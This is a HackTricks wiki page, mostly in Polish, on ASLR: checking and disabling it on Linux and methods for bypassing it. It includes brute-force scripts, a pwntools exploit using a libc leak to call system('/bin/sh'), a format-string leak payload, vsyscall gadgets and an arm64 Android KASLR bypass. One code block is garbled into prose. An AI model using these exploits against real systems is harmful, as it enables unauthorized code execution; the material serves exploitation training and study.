ASLR
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Address Space Layout Randomization (ASLR) to technika bezpieczeństwa używana w systemach operacyjnych do losowego rozmieszczania adresów pamięci wykorzystywanych przez procesy systemowe i aplikacyjne. Dzięki temu znacznie utrudnia atakującemu przewidzenie położenia konkretnych procesów i danych, takich jak stack, heap, and libraries, a tym samym ogranicza skuteczność certain types of exploits, particularly buffer overflows.
Sprawdzanie stanu ASLR
Aby sprawdzić stan ASLR w systemie Linux, możesz odczytać wartość z pliku /proc/sys/kernel/randomize_va_space. Wartość zapisana w tym pliku określa rodzaj stosowanego ASLR:
- 0: Brak randomizacji. Wszystko jest statyczne.
- 1: Conservative randomization. Shared libraries, stack, mmap(), VDSO page są losowane.
- 2: Full randomization. Oprócz elementów losowanych przez conservative randomization, pamięć zarządzana przez
brk()jest losowana.
Możesz sprawdzić stan ASLR za pomocą następującego polecenia:
cat /proc/sys/kernel/randomize_va_space
Wyłączanie ASLR
Aby wyłączyć ASLR, ustaw wartość /proc/sys/kernel/randomize_va_space na 0. Wyłączanie ASLR zwykle nie jest zalecane poza scenariuszami testowania lub debugowania. Oto jak możesz to wyłączyć:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Możesz także wyłączyć ASLR dla wykonania za pomocą:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Włączanie ASLR
Aby włączyć ASLR, możesz zapisać wartość 2 do pliku /proc/sys/kernel/randomize_va_space. Zazwyczaj wymaga to uprawnień użytkownika root. Włączenie pełnej losowości można wykonać za pomocą następującego polecenia:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Trwałość po ponownym uruchomieniu
Zmiany wprowadzone przy pomocy poleceń echo są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby zmiana była trwała, należy edytować plik /etc/sysctl.conf i dodać lub zmodyfikować następującą linię:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Po edycji /etc/sysctl.conf, zastosuj zmiany za pomocą:
sudo sysctl -p
To zapewni, że ustawienia ASLR pozostaną po ponownych uruchomieniach.
Obejścia
32bit brute-forcing
PaX dzieli przestrzeń adresową procesu na 3 grupy:
- Kod i dane (zainicjalizowane i niezainicjalizowane):
.text,.datai.bss—> 16 bitów entropii w zmiennejdelta_exec. Zmienna ta jest losowo inicjalizowana dla każdego procesu i dodawana do adresów początkowych. - Pamięć alokowana przez
mmap()oraz biblioteki współdzielone —> 16 bitów, nazwanadelta_mmap. - Stos —> 24 bity, określany jako
delta_stack. Jednak w praktyce wykorzystuje efektywnie 11 bitów (od 10. do 20. bajtu włącznie), wyrównanych do 16 bajtów —> To daje 524,288 możliwych rzeczywistych adresów stosu.
Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia umożliwia obejście ASLR przez wielokrotne ponawianie uruchomienia, aż exploit zakończy się pomyślnie.
Brute-force ideas:
- Jeśli masz wystarczająco duży overflow, aby zmieścić duży NOP sled przed shellcode, możesz po prostu brute-force’ować adresy na stacku, aż przepływ wykonania przeskoczy nad jakąś częścią NOP sled.
- Inną opcją, gdy overflow nie jest tak duży i exploit można uruchomić lokalnie, jest dodanie NOP sled i shellcode do zmiennej środowiskowej.
- Jeśli exploit jest lokalny, możesz spróbować brute-force’ować bazowy adres
libc(przydatne dla systemów 32bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Jeśli atakujesz zdalny serwer, możesz spróbować brute-force the address of the
libcfunctionusleep, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer odpowie o dodatkowe 10s później, znalazłeś adres tej funkcji.
Tip
W systemach 64bit entropia jest znacznie większa i to raczej nie powinno być możliwe.
64 bits stack brute-forcing
Możliwe jest zajęcie dużej części stacka za pomocą env variables i następnie wielokrotne uruchamianie binary (setki/tysiące razy) lokalnie, żeby go exploitować.
Poniższy kod pokazuje, jak można po prostu wybrać adres na stacku i że co kilkaset uruchomień ten adres będzie zawierał instrukcję NOP:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP detection
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Informacje lokalne (`/proc/[pid]/stat`)
Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje, takie jak:
- **startcode** & **endcode**: Adresy powyżej i poniżej z **TEXT** binarki
- **startstack**: Adres początku **stack**
- **start_data** & **end_data**: Adresy powyżej i poniżej gdzie znajduje się **BSS**
- **kstkesp** & **kstkeip**: Bieżące adresy **ESP** i **EIP**
- **arg_start** & **arg_end**: Adresy powyżej i poniżej gdzie są **cli arguments**
- **env_start** &**env_end**: Adresy powyżej i poniżej gdzie są **env variables**
Dlatego, jeśli attacker znajduje się na tym samym komputerze co eksploatowany binary i ten binary nie spodziewa się overflow z raw arguments, lecz z innego inputu, który można spreparować po przeczytaniu tego pliku, to możliwe jest, że attacker może pozyskać pewne adresy z tego pliku i skonstruować od nich offsety dla exploita.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
### Having a leak
- **The challenge is giving a leak**
Jeśli otrzymasz leak (łatwe CTF challenges), możesz obliczyć offsety z niego (zakładając na przykład, że znasz dokładną wersję libc używaną w systemie, który eksploatujesz). Ten przykład exploita jest wyciągnięty z [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów):
<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Wykorzystując podatność typu buffer overflow, możliwe jest użycie ret2plt do wyeksfiltrowania adresu funkcji z libc. Sprawdź:
- Format Strings Arbitrary Read
Podobnie jak w przypadku ret2plt, jeśli masz arbitrary read przez format strings vulnerability, możliwe jest wyeksfiltrowanie adresu libc function z GOT. The following example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
Spróbuj obejść ASLR, wykorzystując adresy znajdujące się na stosie:
vsyscall
Mechanizm vsyscall ma na celu poprawę wydajności przez umożliwienie wykonywania niektórych syscall w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Kluczową zaletą vsyscalls są ich stałe adresy, które nie podlegają ASLR (Address Space Layout Randomization). Ta stała natura oznacza, że atakujący nie potrzebują podatności typu information leak, aby określić ich adresy i wykorzystać je w exploicie.
Jednak nie znajdziemy tutaj zbyt ciekawych gadgets (chociaż na przykład możliwe jest uzyskanie odpowiednika ret;)
(Poniższy przykład i kod pochodzą z this writeup)
Na przykład atakujący może użyć adresu 0xffffffffff600800 w exploicie. Próba skoku bezpośrednio do instrukcji ret może prowadzić do niestabilności lub awarii po wykonaniu kilku gadgets, natomiast skok na początek syscall udostępnionego przez sekcję vsyscall może się powieść. Poprzez ostrożne umieszczenie ROP gadgetu, który przekieruje wykonanie na ten adres vsyscall, atakujący może osiągnąć wykonanie kodu bez konieczności omijania ASLR w tej części exploita.
Example vmmap/vsyscall and gadget lookup
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
Zwróć uwagę, że może być możliwe bypass ASLR abusing the vdso jeśli kernel został skompilowany z CONFIG_COMPAT_VDSO, ponieważ adres vdso nie będzie randomizowany. Po więcej informacji sprawdź:
KASLR on ARM64 (Android): bypass via fixed linear map
W wielu kernelach arm64 na Androidzie baza kernel linear map (direct map) jest stała między uruchomieniami. Kernel VAs for physical pages stają się przewidywalne, co łamie KASLR dla celów osiągalnych poprzez direct map.
- Dla CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsto findmemstart_addr- Read 8 bytes at that address (LE) using any kernel read (e.g., tracing-BPF helper calling
BPF_FUNC_probe_read_kernel) - Compute direct-map VAs:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- No separate KASLR leak needed if the target is in/reachable via the direct map (e.g., page tables, kernel objects on physical pages you can influence/observe).
- Simplifies reliable arbitrary R/W and targeting of kernel data on arm64 Android.
Reproduction summary
grep memstart /proc/kallsyms-> address ofmemstart_addr- Kernel read -> decode 8 bytes LE ->
PHYS_OFFSET - Use
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)withPAGE_OFFSET=0xffffff8000000000
Note
Dostęp do tracing-BPF helpers wymaga wystarczających uprawnień; dowolny kernel read primitive lub info leak wystarczy, aby uzyskać
PHYS_OFFSET.
How it’s fixed
- Ograniczona przestrzeń VA jądra oraz CONFIG_MEMORY_HOTPLUG rezerwują VA dla przyszłego hotplug, przesuwając linear map do najniższego VA (fixed base).
- Upstream arm64 removed linear-map randomization (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

